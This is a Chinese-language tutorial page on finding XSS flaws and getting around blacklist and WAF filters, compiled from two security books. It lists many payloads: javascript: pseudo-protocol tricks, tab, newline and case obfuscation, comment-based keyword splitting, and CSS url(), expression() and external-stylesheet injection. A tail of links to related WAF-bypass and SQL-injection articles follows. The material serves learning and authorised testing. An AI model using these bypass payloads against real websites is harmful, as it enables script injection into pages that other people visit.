来源《XSS跨站脚本攻击剖析与防御》&《WEB前端技术揭秘》

一、一般测试方法

步骤:

0.总则:见框就插

1.在输入框随便输入一些简单的字符,如 aaa,方便后续查找输出位置

2.按下F12打开开发者模式,ctrl+F键,搜索 aaa

3.多数情况下是在标签的value="aaa"中,或者独立出来包含在一些别的标签中,如divspan

4.根据特定情况构造payload,一般是直接构造标签或者闭合标签再构造或者利用伪协议

二、常用技巧

  • 1.JS伪协议利用

形式:javascript:[代码]

示例:<table background="javascript:alert(1)"></table>,引号可以去掉

支持伪协议的属性有:href,lowsrc,bgsound,background,action,dynsrc

  • 2.基于黑名单的过滤

js代码 中,利用空格回车tab键,切记只有""包裹的js代码才可以随便利用空格、回车、tab键,例如src="java script:xxxx",而这样不行:src=java script:xxxx

,而且回车、换行不支持在on事件中使用,空格可以

js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号

例:

var a = 1
var b = 2;
//上述语句正确

示例:<img src="javas cript:alert(1)">,中间为tab键

    用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');"> 也可以对TAB编码
<img src="jav ascript:alert('XSS');"> 利用换行符拆解
<img src="jav ascript:alert('XSS');"> 利用回车拆解
<img src="jav ascript:alert('XSS');">

② 大小写混淆

示例:<IMg SRc oNERRoR=aLERT(1)>

③ 编码绕过

暂无

④ 奇淫技巧

1.过滤引号

策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)

2.过滤空格

策略:/**/,注释符号绕过;/符号绕过;

例:<img/src/onerror=alert(1)>

3.属性关键词被过滤

策略:插入/**/\\0

示例:

//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);"> //2.`\`、`\0`只能在css样式\js中使用,两者会被浏览器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此处用到了@import,详细@import解释在后面
</style> 4.`<!-- -->`注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释: `<style><img src="</style><img src onerror=alert(1)//">`
解释:

5.利用 JSFuck 绕过关键词过滤

JSFuck

  • 3.js事件执行代码

示例:<img src onerror=alert(1)>

js事件:onerror,onclick,onmouseover,onkeydown·········

其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

  • 4.利用css跨站 (style属性或者style标签)

    ① 直接执行

利用的是属性中的 url ,跟伪协议相似

示例:

//1.
<div style="background-image:url(javascript:alert(1))"> //2.
<style>
body{background-image:url(javascript:alert(1));}
</style> //3.
<div style="list-style-image:url(javascript:alert(1));">

② IE 下利用 expression

解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,

示例:

//1.
<div style="width:expression(alert(1));"> //2.
<img src="#" style="xss:expression(alert(1));"> //3.
<div style="list-style-image:expression(alert(1));"> //4.
<style>
body{background-image:expression(alert(1));}
</style>

③ 引用外部css文件执行xss

示例:

//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css"> //2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style> //3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>

三、更新内容 -- 利用JS全局变量绕过XSS过滤器

原文地址:

XSS之绕过WAF总结的更多相关文章

  1. WAF指纹识别和XSS过滤器绕过技巧

    [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  4. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

  5. 技术分享:杂谈如何绕过WAF(Web应用防火墙)(转)

    0×01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是"不要脸"的代名词.如果没有他,我们的" ...

  6. XSS插入绕过一些方式总结

    详见:http://blog.csdn.net/keepxp/article/details/52054388 1 常规插入及其绕过 1.1 Script 标签 绕过进行一次移除操作: <scr ...

  7. 1.如何绕过WAF(Web应用防火墙)

    一:大小写转换法: 看字面就知道是什么意思了,就是把大写的小写,小写的大写.比如: SQL:sEleCt vERsIoN(); ‍‍XSS:)</script> 出现原因:在waf里,使用 ...

  8. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

  9. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. 《JavaScript 模式》读书笔记(1)— 简介

    哇,看了自己最近的一篇文章,其实那时候刚接触Jest,啥也不会(虽然现在其实也一样不会,嘿嘿),就像记录下工作中遇到的一些问题,其实,后来的一些发现吧,那两篇文章写的其实是有一些问题的.希望不会给大家 ...

  2. Chromium的无锁线程模型C++代码示例

    引言 作者:程序员bingo,主要关注客户端架构设计.性能优化.崩溃处理,有多年的Chromium浏览器开发经验. 多线程一直是软件开发中最容易出问题的环节,很多的崩溃.卡死问题都与多线程有关.在常用 ...

  3. 玩转 .NET Core 3.0:逐浪CMS新版发布,建站更简单、网站更安全

    2019年11月11日,在大家都忙于网上体会“双11 ”的热闹气氛的时候,逐浪CMS开发者团队正在做着新版本发布的最后工作.此次更新是基本于 .NET Core 3.0开发,也是全国首个基于 .NET ...

  4. vue中数据请求的三种方法

    注意请求可能存在跨域问题,需要去配置好 这三种建议使用axios 1.resource Vue 要实现异步加载需要使用到 vue-resource 库. Vue.js 2.0 版本推荐使用 axios ...

  5. 使用pyecharts绘制词云图-淘宝商品评论展示

    一.什么是词云图? 词云图是一种用来展现高频关键词的可视化表达,通过文字.色彩.图形的搭配,产生有冲击力地视觉效果,而且能够传达有价值的信息. 制作词云图的网站有很多,简单方便,适合小批量操作. BI ...

  6. C语言程序设计(三) 简单的算术运算和表达式

    第三章 简单的算术运算和表达式 算数运算符:一元.二元.三元(条件运算符) 1/2是整型除法,1.0/2是浮点数除法 求余运算(%)限定参与运算的两个操作数必须为整数,不能对两个实型数据进行求余运算 ...

  7. Checkbox 勾上 不让勾下 同步手动刷新复选框状态 iview

    <Checkbox v-show="!disabledForm" ref="youwubianhuaRef" :value="youwubian ...

  8. react 装 router - yarn add react-router-dom@next

    react 装 router yarn add react-router-dom@next

  9. 【vue生命周期】- 详解

    这篇文章通俗易懂,写的不错,本文转载至:https://www.cnblogs.com/happ0/p/8075562.html 详解Vue Lifecycle 先来看看vue官网对vue生命周期的介 ...

  10. win10环境下如何修改Python pip的更新源?

    1.在window的文件夹窗口输入 : %APPDATA%2.在弹出的路径中新建pip文件夹,然后到pip文件夹里面去新建个pip.ini文件,然后再里面输入内容 [global] timeout = ...